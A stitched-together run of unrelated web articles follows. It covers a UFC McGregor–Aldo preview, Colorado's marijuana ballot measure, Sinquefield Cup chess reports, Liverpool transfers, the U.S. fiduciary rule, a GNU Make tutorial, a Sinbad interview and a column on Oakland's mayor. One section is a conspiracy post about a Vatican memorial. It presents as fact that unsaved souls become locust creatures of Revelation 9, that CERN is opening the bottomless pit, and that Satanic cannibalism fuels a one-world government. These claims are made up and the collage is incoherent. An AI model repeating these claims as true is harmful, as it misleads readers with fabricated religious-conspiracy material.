The fight had originally been scheduled to take place back at UFC 189 in July, however Jose Aldo suffered a rib injury less than two weeks ahead of the bout, meaning an interim title was put in place and Chad Mendes called up on late notice as a replacement for Aldo, reports James Edwards from MMA Latest News.
After weathering an early storm from Mendes, McGregor prevailed to take the interim strap and set up one of the most highly anticipated clashes in recent UFC history, a unification title fight with Jose Aldo at UFC 194 this coming Saturday.
McGregor comes into the fight with a perfect UFC record having defeated Marcus Brimage, Max Holloway, Diego Brandao, Dustin Poirier and the aforementioned Chad Mendes.
Four of his wins have come inside the distance, the exception being his fight with Max Holloway where even after suffering a totally torn Anterior-Cruciate Ligament in his knee, he still took a decision victory unanimously on the judge’s scorecards.
(Image: Getty)
McGregor not only brings form into the fight, but also an unnerving confidence that not many, if anyone in the UFC right now can compete with. Speaking in a recent interview McGregor even went as far as saying:
"I'm hungry right now. I'm prepared to kill this man and unify the belts … we'll see what they have to say after Jose crumbles inside one."
McGregor may be oozing with confidence but his opponent, Jose Aldo will be equally, if not more sure of his own abilities to get the job done on Saturday night.
Jose Aldo is considered by many to be the UFC’s pound-for-pound number one fighter and rightfully so, the facts speak for themselves.
(Image: Getty)
Aldo is unbeaten in the last ten years, a record lasting since November 26th 2005 until today. His entire decade of invincibility has seen him hold the UFC Featherweight championship for 5 years, his record including 18 fights, 10 title fights and 9 title defences.
During this time many a future UFC Hall Of Fame names has been added to his list of conquests, including Uriah Faber, Chad Mendes (twice) and Frankie Edgar. Though his wins as of late have been mostly by decision those only with short memories will forget the devastating stoppages that littered his early career.
Alone both their records and abilities combined would make for an intriguing unification title fight, however interest and anticipation for the fight have grown to fever pitch with the ongoing mental warfare and the words that have been exchanged over the last twelve-months.
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As you would expect, both Aldo and McGregor remain adamant they will be the victor on Saturday 12th and both are going into the fight with an extreme amount of confidence:
Aldo stated recently in an interview to FOX: "I believe I'm going to win this fight and I have no doubt about it, but I don't think he'll go away. He kind of put Ireland on the map and he did a lot for the country so I believe he's going to go a different way. He might go the Chael Sonnen way and maybe talk himself into another title shot, but I don't think he's going to completely go away because he did a lot for where he came from so he's always going to be there."
Read more: Sage Northcutt bets his hair on Conor McGregor
Whilst Aldo remains totally focused on the upcoming fight, McGregor already has his one eye on a wider prize and the cementing of his legacy in the sport:
“I will K-O Jose Aldo and I will face the winner of the lightweight belt, which takes place a week after, and then I will fight for that. So within the next few fights, I will be a two-weight world champion. I'm looking to achieve what I achieved in my previous promotion and collect two belts in two different weight divisions. Hold them consecutively, defend them consecutively, and carry on.”
Election Day is finally here and Colorado is not only a key swing state in the battle for the presidency, by the end of Tuesday, voters could legalize marijuana for recreational use, effectively ending marijuana prohibition in the state and forever altering a decades long drug war.
Over the last several months, we've debated the issue of marijuana legalization here at HuffPost Denver, seen data from the Marijuana Arrest Research Project that showed that in Colorado more than 210,000 people have been arrested for marijuana possession over the last 25 years -- and of those arrests, people of color have been disproportionately impacted -- and we've also seen the report from the FBI's Uniform Crime Reporting data that in the United States, someone is arrested for marijuana every 42 seconds.
But now it's time for the voters to decide and according to the latest poll from Public Policy Polling from Monday -- the last poll taken on Colorado's Amendment 64 before Election Day -- the ballot measure looks like it has a strong chance of passing on Tuesday.
This is the highest percentage of support that PPP has found since they began surveying the issue of marijuana legalization. Back in September, PPP found 47 percent in favor of A64 and 38 percent against with 49 percent in favor of marijuana being legal, in general.
The highest support ever polled was from a June Rasmussen survey of 500 likely Colorado voters which showed 61 percent were in favor of legalizing marijuana if it is regulated the way that alcohol and cigarettes are currently regulated.
Voters in Colorado, Oregon and Washington are all considering measures that would effectively end marijuana prohibition in their respective states. Marijuana legalization has become an issue that defies the stereotypes of party lines, garnering the support of key progressives and conservatives in Colorado, Washington and Oregon. And although all three states have pot initiatives on their ballots, Colorado and Washington's pot ballot measures appear to be quite popular with voters, according to recent polling.
If marijuana is legalized in Colorado under Amendment 64 it would be taxed and regulated similar to alcohol and tobacco. It would give state and local governments the ability to control and tax the sale of small amounts of marijuana to adults age 21 and older. According to the Associated Press, analysts project that that tax revenue could generate somewhere between $5 million and $22 million a year in the state. An economist whose study was funded by a pro-pot group projects as much as a $60 million boost by 2017.
However, the big unknown still is if the federal government would allow a regulated marijuana market to take shape. Attorney General Eric Holder, who was a vocal opponent of California's legalization initiative in 2010 saying he would "vigorously enforce" federal marijuana prohibition, has continued to remain silent on the issue this year.
In September, Holder was urged by by nine former heads of the U.S. Drug Enforcement Administration to take a stand against marijuana legalization again. "To continue to remain silent conveys to the American public and the global community a tacit acceptance of these dangerous initiatives," the nine said in the letter to holder obtained by Reuters.
Earlier this month those same DEA drug warriors joined by former directors of the Office of National Drug Control Policy on a teleconference call to put additional pressure on Holder to speak out against Colorado's marijuana measure as well as similar initiatives on the ballot in Washington state and Oregon.
The drug warriors say that states that legalize marijuana for recreational use will trigger a "Constitutional showdown" with the federal government.
In a report published Sunday by NBC News, President Obama's former senior drug policy advisor said that if the marijuana initiatives pass, a war will be incited between the federal government and the states that pass them. "Once these sates actually try to implement these laws, we will sen an effort by the feds to shut it down," Sabet said.
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Presented above is the memorial plaque featured in Vatican City that commemorates the popes buried in St Peter’s with their names in Latin and the year of their burial engraved along side of each pope.
The mantle underneath this memorial list showcases the most disturbing and grotesque thing you will ever witness in you life:
Does that look like someone entering into the paradise of eternal life to you? No – it doesn’t, in fact, something quite the opposite is portrayed here.
What exactly is this doing in a church? .. Why is this under a memorial list of Catholic Popes? ..
Prepare your heart before continuing:
FEATURED VIDEO:
The complete reality and spiritual significance of what is really going on here has now been uncovered!
THE LOCUSTS OF REVELATION 9:
“And the fifth angel sounded, and I saw a star fall from heaven unto the earth: and to him was given the key of the bottomless pit.
And he opened the bottomless pit; and there arose a smoke out of the pit, as the smoke of a great furnace; and the sun and the air were darkened by reason of the smoke of the pit.
And there came out of the smoke locusts upon the earth: and unto them was given power, as the scorpions of the earth have power.
And it was commanded them that they should not hurt the grass of the earth, neither any green thing, neither any tree; but only those men which have not the seal of God in their foreheads.
And to them it was given that they should not kill them, but that they should be tormented five months: and their torment was as the torment of a scorpion, when he striketh a man.
And in those days shall men seek death, and shall not find it; and shall desire to die, and death shall flee from them.
And the shapes of the locusts were like unto horses prepared unto battle; and on their heads were as it were crowns like gold, and their faces were as the faces of men.
And they had hair as the hair of women, and their teeth were as the teeth of lions.
And they had breastplates, as it were breastplates of iron; and the sound of their wings was as the sound of chariots of many horses running to battle.
And they had tails like unto scorpions, and there were stings in their tails: and their power was to hurt men five months.
And they had a king over them, which is the angel of the bottomless pit, whose name in the Hebrew tongue is Abaddon, but in the Greek tongue hath his name Apollyon.” (REVELATION 9: 1-11 KJV Holy Bible)
These are NOT your typical locusts like recorded in the ancient plagues of Egypt.
These are SUPERNATURAL XENOMORPH locust creatures of the bottomless pit!
FEATURED VIDEO: Bug Mania With Xtra edits- – Locust Aliens from the Pit
Every human being that dies without being born again of the incorruptible Holy Spirit has their spiritual energy transmuted into a locust creature, which is gestating underneath the earth awaiting their birth out of the bottomless pit.
The unconverted souls of humanity are used as fuel to breed an alien race of underworld locust creatures run by Apollyon, the king of the bottomless pit of Revelation 9:11.
Here is the spiritual manifestation of the head and wings of one of these locust creatures and what was once a human being:
THE BOTTOMLESS PIT:
A very interesting characteristic of CERN is its relationship to Apollo (Apollyon) from Revelation 9:11.
A large portion of CERN is located in the territory of Saint Genis Pouilly. In Roman times it was called Apolliacum. The town and a temple were dedicated to Apollyon (the destroyer)!
Apollyon is the king of the locusts of the bottomless pit!
CERN – OPENING THE BOTTOMLESS PIT?
A rough demonstration on the principles behind CERN and the bottomless pit are presented in:
FEATURED VIDEO: Thy Kingdom Come ( Part 6 – CERN & The Locust Army)
After starting the video, use the arrow ►| (located in the bottom left hand corner) to scroll through playlist series.
THE BIG SECRET ABOUT YOUR IDENTITY THE WORLD DOES NOT WANT YOU TO KNOW ABOUT:
There is a very dark truth about Satanic ritualistic cannibalism and how it fuels the coming One-World-Government. There is a dark, supernatural army of Locust like creatures that will be released during the Tribulation. Satan has been building his personal army for generations… Lucifer’s Shadow Government operates in the dark corners on Earth, and infects all major spheres of influence.
FEATURED DOCUMENTARY DVD: You Are Exiles (2017)
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What in the Hell Is This Beneath the Vatican Memorial of Dead Popes? (Videos)
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Vishwanathan Anand - Wesley So
Anand entered this round as one of the leaders, but his chances to win this event were not as good as you might think because of the tiebreaker rules. Those opposed to the current system will point out the irony of a player ruing his poor luck to have gone undefeated in a tournament instead of losing a game somewhere along the way. Anand must have seen how well Vachier-Lagrave’s game was going and known he probably needed to win, but beating Wesley So isn’t easy no matter how bad a tournament he may be having, and the game finished in a draw.
https://lichess.org/study/IdIqECUg/UrXalBCG#0
Hikaru Nakamura - Sergey Karjakin
The scenarios where Sergey Karjakin finished today in 1st were obscure but they all definitely at least involved him winning this game. The game was not what you’d expect from a bridge-burning, all out winning attempt as a relatively quiet position dissolved into an irretrievably equal endgame around move 30. On the other side of the board Hikaru won’t be too upset with a draw after dropping a decent number of rating points this tournament.
https://lichess.org/study/IdIqECUg/6stGdzqL#0
Peter Svidler - Fabiano Caruana
This game was the neglected stepchild today as it had no possible effect on the tournament winner. Despite the lower stakes the game was well fought and interesting. Svidler won a pawn on move 25 and slowly pushed his passed d-pawn forward until Fabiano resigned. Winning the game pushed Svidler back up to an even score which should make him happy as one of the lowest rated players in this tournament.
https://lichess.org/study/IdIqECUg/cc0zUVZp#0
Maxime Vachier-Lagrave - Ian Nepomniachtchi
It would have been disappointing if 2 of the world’s foremost Najdorf practitioners didn’t play a Najdorf, and that’s exactly what happened. The 7 Nf3 variation that Maxime played is not the most exciting way to play, but it’s hard to blame him given how well the game went. Nepomniachtchi slipped into a very passive position with a very unimpressive dark squared bishop against Maxime’s dominating Knight on d5. By the time Nepomniachtchi resigned Vachier-Lagrave could have known where he would finish based on what was happening in the game Carlsen - Aronian. Speaking of which:
https://lichess.org/study/IdIqECUg/QCcxpNUN#0
Magnus Carlsen - Levon Aronian
Photo: Lennart Ootes, Grand Chess Tour
Among the 3 leaders at the beginning of the day Levon had the best chances to come out ahead in a tiebreaker because of winning the most games, but his chances were significantly hurt by being paired with the World champion on the Final day. In the game, Magnus grinded and grinded, winning a pawn on move 22 but burning through most of his time. Approaching the time control Levon made a desperate sacrifice to expose the enemy king and Magnus dramatically came within 2 seconds of running out of time while defending it. Once he reached the time control at move 40 the excitement was over and a Magnus victory seemed assured. Levon understandably played on a lot longer than he would have in a different situation but eventually succumbed which means that Maxime Vachier-Lagrave was the winner of Sinquefield Cup 2017!
https://lichess.org/study/IdIqECUg/xZdARrfn#0
Nevertheless it was a memorable season for those on the red half of Merseyside, with Brendan Rodgers’ side playing with a style and fluidity not seen at L4 for many a year. Despite this success, the manager knew back in May the importance of adding to his squad, particularly with the welcome return of Champions League football set to add at least six games onto the Reds’ fixture list in 2014/15.
Rodgers’ rebuild
Over the two years of Rodgers’ tenure at Anfield, the manager has gradually been moulding and shaping his squad as he looks to build and improve upon the status quo. The club’s American owners have been more than supportive in his time (as have previous owners – the club have spent heavily in the Premier League era with the hope of regaining supremacy over the English game) and tens of millions of pounds have routinely changed hands.
Rodgers’ first signing, Fabio Borini, cost in excess of £12million, shortly followed by Joe Allen for £15m. There is an acceptance though that Liverpool were and perhaps still are shopping in a different market to the financial heavyweights of the European game. Whatever the restrictions, few would bemoan the ownership’s lack of ambition for the club.
Last season, however, was somewhat of an unexpected breakthrough. Rodgers’ mantra of possession-based football seemed to evolve with the need for immediate results. One season of adjustment might be allowed but a second would be seen as wasteful and wouldn’t hold much water with a hugely expectant fan base.
The club turned possession into relentless attack and opponents were often defeated before they could draw breath, particularly at Anfield. While the Reds ultimately couldn’t quite make it over a line few had expected them to reach, Rodgers will know that his success has created a stick for his own back.
Supporters will now be expecting the same high standards; wins will be demanded. With this insatiable appetite for success at the back of their minds, the club has been extremely busy right from the beginning of the transfer window.
The defence
Last season, the Reds notched up 101 goals and conceded 50. It was therefore clear to many where Liverpool’s strengths and weaknesses lie. To that end, Rodgers has spent £20m on Dejan Lovren, a player he hopes will bring some much-needed leadership to the back four. Time will tell, but outstanding performances for Southampton, notably in games at Anfield (where Southampton won) and Old Trafford, made many sit up and take note of the Croatian.
Consistency will be the key word for Lovren and he will do well to take heed from the career paths of often understated but ever reliable players such as Steve Finnan, Stephane Henchoz and Sami Hyypia, who enjoyed fruitful careers at Anfield. Producing 7/10 or 8/10 performances every week will be the standard expected.
Not that the Reds are short of options at centre-back. Mamadou Sakho (France vice-captain at the World Cup) was brought in last September for £18m alongside Tiago Ilori, who was swiftly sent out on loan. Add in Martin Skrtel who, despite a record-breaking four own goals, enjoyed perhaps his most outstanding campaign to date, Daniel Agger, Sebastian Coates and Kolo Toure and the Reds would seem to have a plethora of options.
Due to this surfeit of centre-backs many are suggesting Agger and Coates may leave in search of more regular football. Agger’s career at Liverpool has been blighted by injuries. Never lacking in ability or class, the former Brondby man has often struggled to maintain his fitness over the course of a season. Ultimately, this may cost him the chance to become a legend at Anfield.
In the full-back positions, Rodgers again seems to be hoping new blood can take the Reds forward. Javier Manquillo has signed and Alberto Moreno is widely tipped to arrive in the coming days. The pair will join another strong group of players vying for two positions. Jon Flanagan and Glen Johnson were the starting pair at the end of the season, and they will be supplemented by the returning Jose Enrique, Jack Robinson (after his loan at Blackpool) and Martin Kelly. Andre Wisdom has already gone out on loan to West Brom.
#LFC are pleased to announce the signing of Spanish youth international Javier Manquillo from @Atleti #ManquilloLFC pic.twitter.com/gwDJ4k0TJr — Liverpool FC (@LFC) August 6, 2014
The expected incomings would seem to suggest that some of the aforementioned will either be loaned or sold. Rodgers hopes competition for places throughout his side and a willingness not to let players rest on their laurels will drive incumbent players to reach new levels of performance, all the while increasing the talent at his disposal. Glen Johnson has not been offered a new contract despite having only a year left on his current one and the assumed thinking is that giving the England international more to play for will improve his performances.
The midfield
In midfield, Adam Lallana and Emre Can have joined a squad already boasting Gerrard, Allen, Lucas Leiva and Jordan Henderson. Although Henderson and Gerrard were the two outstanding performers from last season, many still believe that the Reds needed a more powerful presence in the heart of their midfield; a player in the mould of Manchester City’s Yaya Toure.
Asking Can to play such a role at the tender age of 20, especially with no prior Premier League experience, might well be demanding too much and it may continue to be an area of the pitch that opposition target. Lallana will supplement Liverpool’s attacking thrust and may vie for a starting place with Philippe Coutinho, although it remains to be seen where Rodgers sees his best position.
The attack
The front three will be chosen from Daniel Sturridge, Raheem Sterling, Coutinho and new arrivals Rickie Lambert and Lazar Markovic. Signing another centre-forward is also expected to be the focus for the Reds during the remainder of the transfer window.
Loic Remy looked set to join the Reds until he unexpectedly failed his medical. As a forward who can play anywhere across the front line with an excellent record in the Barclays Premier League (20 goals in 40 games), the Frenchman could have been an ideal foil for Sturridge, but it was not to be. The search for a new striker must continue.
Markovic enjoyed an impressive season at Benfica, where the Portuguese title was won, but again at just 20, it would asking a lot to expect the Serbian to replace the contribution of Luis Suarez by himself.
It seems more likely Rodgers will apply an approach of sharing the burden of making up Suarez’s goals. The Liverpool manager has already challenged Henderson to get on the scoresheet more often, and between the midfielder and new boys Lallana and Lambert, 15-20 goals should be added to compensate for the Uruguayan’s departure.
Most importantly, Sturridge must now step up as Liverpool’s main man and at least match his 20-goal haul from last season. There certainly is space for another striker to ease the burden but without Suarez the Reds will do well to hit a century of goals again next term.
R odgers will know that spending what is widely expected to reach over £100m certainly adds its own pressure to succeed. While the club can claim much, if not all, of that outlay will be recouped from sales (the majority from the £75m departure of Suarez), there is an inherent expectation that big spending will lead to good results.
The Reds have achieved success in the Premier League era, winning several domestic and European trophies, but that elusive 19th league title remains the priority.
Sen. Elizabeth Warren (D-Mass.) applauds as then-President Barack Obama gives the thumbs up as he arrives to speak at the AARP headquarters in Washington on Feb. 23, 2015, to announce the proposal of the fiduciary rule. (Jacquelyn Martin/AP)
A rule meant to make it easier for retirement savers to trust their financial advisers began its long-awaited roll out on Friday. But investors may not want to let their guard down just yet.
Implementation of the retirement rule, which requires brokers working with retirement savers to put their clients’ interests ahead of their own, marks a major victory for consumer advocates, lawmakers and retirement groups who have been pushing for the regulation for more than six years. The rule, originally slated to take effect in April, was delayed by two months after President Trump signed a memo asking the Labor Department to reevaluate the regulation and determine if it is harmful for investors. Last month, Labor Secretary Alexander Acosta announced that he could not delay the rule any further.
Yet even as supporters of the regulation celebrate the milestone, many of them are reminding savers that the fight isn’t quite over.
“We won an important battle, but the war goes on,” said Barbara Roper, director of investor protection for the Consumer Federation of America and a long time advocate for the rule.
[A new rule on retirement savings advice is in your best interest]
Sen. Elizabeth Warren (D-Mass.), who worked with the Obama administration to promote the rule, posted a video to Twitter Friday congratulating consumers for the “huge” accomplishment. Still, she cautioned people to “stay alert,” because the “Trump administration may come back again and try to take down the rule.”
For years, we’ve fought for a basic rule: retirement advisers should have to put their customers’ interests first. Today, that’s the law. pic.twitter.com/Kah1OnhjWn — Elizabeth Warren (@SenWarren) June 9, 2017
The fiduciary rule has faced robust opposition from Republicans and industry groups since it was first introduced by the Labor Department in 2010. But efforts to kill or weaken the rule intensified after the election, when Republican victories in Congress and the White House provided more momentum to people who say the rule will raise legal costs and limit options for investors. One provision tucked inside of a sweeping regulatory reform bill that was passed by the House of Representatives on Thursday would repeal the fiduciary rule and block the Labor Department from proposing a new fiduciary standard until after the Securities and Exchange Commission proposes its own rule.
[House passes sweeping legislation to roll back banking rules]
SEC Chairman Jay Clayton announced earlier this month that he would be seeking input about the fiduciary rule, a sign that the agency could propose its own changes. And when the Labor Department announced that the rule would take partial effect starting in June, it said full enforcement of the regulation would not start until January. Acosta also made it clear that the department would continue to review the rule and changes could be made in the future.
Supporters say the fiduciary rule can help protect ordinary savers from hidden fees and conflicts of interest in retirement advice that could eat into their savings. Such conflicted advice costs retirement savers about $17 billion a year, according to estimates from the Obama administration — though some consumer advocates say the real cost is actually much higher.
Until now, brokers working with retirement savers were only required to make sure the investments they sold were “suitable” for their clients. For instance, a broker choosing between two similar investment products could recommend the option that will pay them the most, even if it comes with slightly higher fees for the investor. But starting Friday, brokers are required to make recommendations based on what is best for the saver. The rule also requires brokers to disclose conflicts of interest, such as when they are paid by a third party for selling a particular product.
Proponents of the rule say it is supposed to clear up one of the biggest challenges savers face when they turn to financial professionals for help: They may not understand the complicated investment strategies they’re being offered. And many people may not realize they received questionable advice until after they’ve lost money.
Charlene Furnari, 73, hired a broker about 10 years ago to help her move her retirement savings from a 401(k) plan into an individual retirement account. The retired secretary said she trusted him to create a conservative portfolio that would help her savings last. But she later learned that she the broker had invested a chunk of her savings in an expensive variable annuity, real estate investment trusts and in an oil and gas partnership, a complicated investment product with high fees and volatile performance.
“It was for his benefit,” said Furnari, who dropped the broker in 2013 and hired a financial adviser who built her a simpler portfolio made up mostly of low-cost index funds. “I didn’t have a clue what was happening.”
Some financial firms and industry groups say the rule may have the unintended consequence of limiting savers’ options. For example, some brokers may eliminate investment options with different fee structures that they fear will face more scrutiny under the rule, leaving customers with fewer choices, said Lisa Bleier, managing director and associate general counsel for the Securities Industry and Financial Markets Association, a trade group.
But even if opponents succeed in revising the regulation, the rulemaking process has already set off a series of changes in the industry that could benefit consumers. Over the past several months, brokerage firms have lowered fees, designed new mutual fund share classes with simpler fee structures and eliminated some commission-based retirement accounts.
“Markets are already moving in this direction,” said Cristina Martin-Firvida, director of financial security for AARP. “People saving for retirement absolutely are demanding this now.”
Read more:
5 common financial struggles faced by people over 60
Senate votes to kill rule that would help states launch retirement plans
Tags: October 26, 2014 by Alexey ShmalkoTags: make
Make is a simple and powerful tool for automatically building any files out of others. However, some programmers experience issues writing makefiles and reinvent things without knowing some basic Make things.
How make works
By default, make starts with the first target. This is called the default goal.
Make reads the makefile in the current directory and begins by processing the first rule. But before make can fully process this rule, it must process the rules for the files that rule depends on. Each of this files is processed according to its own rules.
Actually, that’s recursive algorithm for each target:
Find a rule to build that target. If there is no rule to build the target, make fails; For each prerequisite of the target, run this algorithm with that prerequisite as the target; If either the target does not exist, or if any prerequisite’s modification time is newer than the target’s modification time, run the recipe associated with the target. If the recipe fails, (usually) make fails.
Assignment types
Make supports variables to ease writing makefiles. They are assigned with one of the following operators: = , ?= , := , ::= , += , != . The difference between them is the following:
= assigns a deferred value to a variable. That means that value of the variable will be computed every time variable is used. Be aware of that when assigning the result of shell command—shell command will be executed every time variable is read.
assigns a deferred value to a variable. That means that value of the variable will be computed every time variable is used. Be aware of that when assigning the result of shell command—shell command will be executed every time variable is read. := and ::= are essentially the same. Such assignment computes variable value once and just stores it. Simple and powerful. This type of assignment should be your default choice.
and are essentially the same. Such assignment computes variable value once and just stores it. Simple and powerful. This type of assignment should be your default choice. ?= works as := if the variable was not defined, otherwise does nothing.
works as if the variable was not defined, otherwise does nothing. += is append operator. The right-hand side is considered immediate if the variable was previously set with := or ::= , and deferred otherwise.
is append operator. The right-hand side is considered immediate if the variable was previously set with or , and deferred otherwise. != is a shell assignment operator. The right-hand side is evaluated immediately and handed to the shell. The result is stored in the variable named on the left.
Pattern rules
If you have a lot of files that have the same rule, you can easily define a pattern rule that will be used for all matching targets. A pattern rule looks like an ordinary rule, except that its target contains the character ‘%’. The target is considered a pattern for matching file names; the ‘%’ can match any non-empty substring.
In my blog directory I have the next Makefile:
all: \ build/random-advice.html \ build/proactor.html \ build/awesome_skype_fix.html \ build/ide.html \ build/vm.html \ build/make.html \ build/%.html: %.md Markdown.pl $^ > $@
$^ is an automatic variable that means dependencies while $@ means target; so this rule just passes my markdown files through the converter. To see more details on how to write pattern rules and more automatic variables refer to the manual.
Default implicit rules
GNU Make has a set of default rules. So that in lots of cases you don’t have to write explicit rules. The list includes, but not limited to, rules for compiling C, C++, assembler programs and linking them. The full list is available at make manual.
It’s possible to don’t have Makefile at all. For example, you can just save source code of a program in the file called hello.c and then just invoke make hello . Make will automatically compile hello.o from hello.c and then link it in hello for you.
The recipes are defined in the form $(CC) $(CPPFLAGS) $(CFLAGS) -c . That makes it possible to change the rule by changing variables. To compile source files with clang just add the following line: CC := clang . In the directory I’m using for saving my small test programs I have a tiny Makefile:
CFLAGS := -Wall -Wextra -pedantic -std=c11 CXXFLAGS := -Wall -Wextra -pedantic -std=c++11
Wildcarding and functions
To compile all C and C++ source files in current directory, use the following code for dependencies: $(patsubst %.cpp,%.o,$(wildcard *.cpp)) $(patsubst %.c,%.o,$(wildcard *.c)) .
wildcard searches for all files matching the pattern and patsubst replaces appropriate file extension with .o .
There are lots of functions for transforming text in make. They are called in form $(function arguments) .
For the full list of functions refer to the manual.
Note that space after comma is considered as part of an argument. That may cause unexpected results for some functions, so I recommend not put space after comma at all.
It’s even possible to write your own functions with call function and kind of parameterized templates with eval function.
Search path
There is special make variable VPATH used as a PATH for all prerequisites. That is, in the VPATH variable, directory names are separated by colons or blanks. The order in which directories are listed is the order followed by make in its search. The rules may then specify the names of files in the prerequisite list as if they all existed in the current directory.
There is also a more fine-grained vpath directive. It allows you to specify the search path for every file matching the pattern. So, if you store all your headers in include directory, you can use the following line:
vpath %.h include
However, while make changes only prerequisite part of the rule and not the rule itself, you can’t rely on explicit file names in your rule. Instead, you must use automatic variables such as $^ .
For more information on searching direcotries for prerequisites refer to make manual.
Debugging Makefiles
There a couple of techniques to debug makefiles:
Printing
The first one is plain old printing. You can print the value of some expression using one of the following make functions: $(info ...) $(warning ...) $(error ...) Make will print the value of the expression once it passes through this line.
I believe you know how to use tracing.
Remake
There is also special program written for debugging Makefiles. Remake allows you to stop at a specified target, examine what has happened, change the internal state of Make. For more info read the article about debugging makefiles with remake.
Read also a great article about debugging makefiles for other ways of Makefile debugging.
Sinbad is probably most famous for TV work like the sitcom A Different World and films such a Houseguest, Jingle All The Way, and First Kid. He has also starred in several successful stand-up comedy films for HBO and Comedy Central. Among Mac users, he's also known for his yearly appearances at Macworld Expo.
"I started coming in 1990," Sinbad told Ars. "And I've come to every one since." He has always attended Apple keynotes, and can often be spotted walking the show floor or attending after-parties like the infamous Cirque du Mac.
Sinbad said that he even attended the first QuickTime conference in the early '90s. "It was all engineers, it was all QuickTime cats," he said. "And what happens is, they were showing like just a ball twisting, and I went up to the microphone and said, 'You have to got to let Hollywood get involved, 'cause that stuff sucks.' I mean, they had the technology, but they didn't have the creativity. And that's when the world opened up between technologists and Hollywood, and you saw the best of both worlds."
While numerous techies expressed surprise that Sinbad was invited to give a feature presentation at this year's Expo, it turns out he has some history of speaking at events for Apple. Sinbad was an "Apple Master" in years past, and spoke at several Worldwide Developers Conferences. He also made an appearance at an Apple company Christmas party in 1994. "That was up in Cupertino, when they had the first Apple camera—the QuickTake. They were taking pictures with the QuickTake," Sinbad said.
Sinbad's presentation at the Expo this year was modeled on Steve Jobs' keynotes, complete with a Keynote slide presentation. He wasn't discussing new Apple products or bragging about record sales, though. Instead, Expo attendees were treated to about 45 minutes of geeky stand-up comedy informed by 20 years of being a part of the Apple community.
Windows was the butt of many jokes, but that doesn't mean Sinbad didn't get in a few jabs at Apple fans as well. "See, Steve Jobs was smart—he knew stupid people like me would want to use computers, so he made one even stupid people could use," he told the crowd.
A self-avowed "app junkie," Sinbad quipped that adding folders to iOS was one of Apple's biggest mistakes. "Now I can have 3,000 apps on my phone—I shouldn't be allowed to do that," he said. "Sure, apps are only 99 cents, but now I have a $3,000 charge on my credit card from iTunes!"
After his "keynote," Sinbad took questions from the audience. There were plenty of questions about what Apple might do next, such as "What's the next iPhone going to have?" Sinbad answered, "Reception."
But Sinbad doesn't worry that much about what Apple will do next or what the next upgrade will be—he trusts Apple to worry about that. "That kind of stuff, I just wait until it comes out," he said. "I haven't even read much on it, because it doesn't matter until it ships."
Still, he noted that Mac users are an impatient bunch. "You don't need to upgrade until what you got is getting in the way of what you're trying to do," he told the crowd. "I'd rather buy a new microphone than a new computer, if my computer does what I need. But the thing about Mac people, we get caught up, because I hate when someone who has not been an Apple person has the newer product before I do."
Why is Sinbad so passionate about Apple? He told us that it all started when he went to a computer swap meet in Pomona, California. "I didn't know what I was looking for, but I read up on computers and understood you had to get the right kind of boards to match the right kind of chips when you built the computer," he said. "And this guy was sitting there with this Macintosh—it spoke to me. When I bought that I said, 'this is the one.'"
"I've had PCs... I've built PCs; me and my son build them for gaming," Sinbad explained. "The Mac was all in one; it was self-contained. I mean, yes, you couldn't take it apart like a PC, and get different parts, and build it to your specifications. But the Mac, it was all about the symbiotic relationship between all the tools."
Today, Sinbad travels with an iPhone, an iPad, and a MacBook Air. "I grab the iPad when I want to surf and see bigger pictures, and then I also carry my MacBook Air because it can play Flash," he told Ars. But, "I'll write more on my iPhone now if I'm on the road, because that's what's in my hand."
"My thing is, I try to find software that will talk to all the machines, like Evernote," Sinbad told Ars. "All the notes go everywhere. I have Dropbox, SoundCloud, I use iDisk, so you can just drop your information in and get it anywhere."
Sinbad's enthusiasm for Apple's mobile platform was definitely apparent during our talk. I used Apple's Voice Memo app on my iPhone to record our interview, but Sinbad spent a good part of our time extolling the virtues of the FIRe recording app from Audiofile Engineering. "It's got everything, like EQ. For podcasts and stuff it's great." He also tried to pitch me on pairing FIRe it with Blue's Mikey stereo mic for the iPhone. "The Blue Mikey mic will change your world. For interviews, it'll blow your mind—it's insane," he said.
We also discussed his thoughts on Apple's plan to bring iOS features to Mac OS X in the upcoming Lion update. "They're just [bringing] things that we're already doing on the iPad. People say 'convergence,' but I don't really see it as convergence—we're already doing it," Sinbad said.
"Like the Mac Apps Store—to me, that's not convergence, that's the normal path," Sinbad explained. He noted that iOS devices have been incredibly successful, and that plenty of users like himself are using iPhones or iPads more than their "regular" computers. "Apple wants to make your computer more like your iPhone? Great, because iOS 4 is awesome. They are just adding some new features, features that people are already using [on the iPad]," he told Ars.
Sinbad is a big proponent of flash storage for laptops, and he admitted that he got the update bug when Apple released new MacBook Air models last October. "I had to get the new MacBook Air with the solid state," he said. A musician had come over to his house to work on a project, and did all the work on a new MacBook Air. "The old one, once you open three windows it was just—schwooomp—the processor would get crunched up. This solid state—I was like, 'dude, I have to get that.'"
Oakland Mayor Jean Quan was in hot water recently for making factually incorrect statements about her crime plan. Now, she's raising brows for apparently telling the Alameda County civil grand jury about a partnership with the FBI that existed only in her mind.
But take note: Quan isn't a malicious liar intending to misinform the public for her personal or political benefit.
Unfortunately, she has a bad habit of speaking extemporaneously, saying the first thing that comes to mind - and that can create havoc.
Some colleagues say it's not a new thing for Quan. She's done this for years, and many people take what she says as fact with a grain of salt.
But the stakes in the mayor's office are much higher than they are when you're a city councilwoman or school board member, elected positions Quan has previously held.
Big city mayors usually don't get to pick and choose the topics they want to address. They're supposed to field whatever comes - at a press conference, at the farmers' market, or right outside their offices.
Strong politicians can use effective policy proposals to influence public debate, but all elected officials are required to answer questions about the good, bad and ugly events, trends and developments that occur in the areas they are elected to represent.
Quan should be able to do this, but doesn't. She is often rattled when confronted by the press corps.
On Monday, Quan joined Gov. Jerry Brown, federal Transportation Secretary Ray LaHood and Port of Oakland officials to announce the first phase of a massive expansion project planned for the city's industrial waterfront.
In between describing his vision of long-term infrastructure and job creation, Brown casually fielded questions about his tax plan, pension reform and the financing details of the state's high-speed rail plans.
Quan, however, was not as flexible.
When it was over, she made a beeline for the parking lot - with reporters in tow.
She declined to answer questions on any other subject - neither her recent verbal gaffes nor the shooting of five people outside the Jack London Theater on Sunday night.
Anne Campbell Washington, Quan's chief of staff, said the mayor attended the press conference for the sole purpose of talking about the port project - nothing else.
Three days earlier, Quan dodged questions from a Chronicle reporter who asked about her comments to the grand jury. He caught up with her at the Old Oakland Farmers' Market on Ninth Street after her staff said she was in meetings.
Quan said she remembered speaking before the panel but couldn't recall the gist of the conversation. She also didn't remember if she had said anything about the FBI helping the city's crime lab - either before the grand jury or in a public speech. Finally, she said even if she did remember, she wasn't sure she was allowed to talk about it.
That final statement is the perfect example of her bad habit.
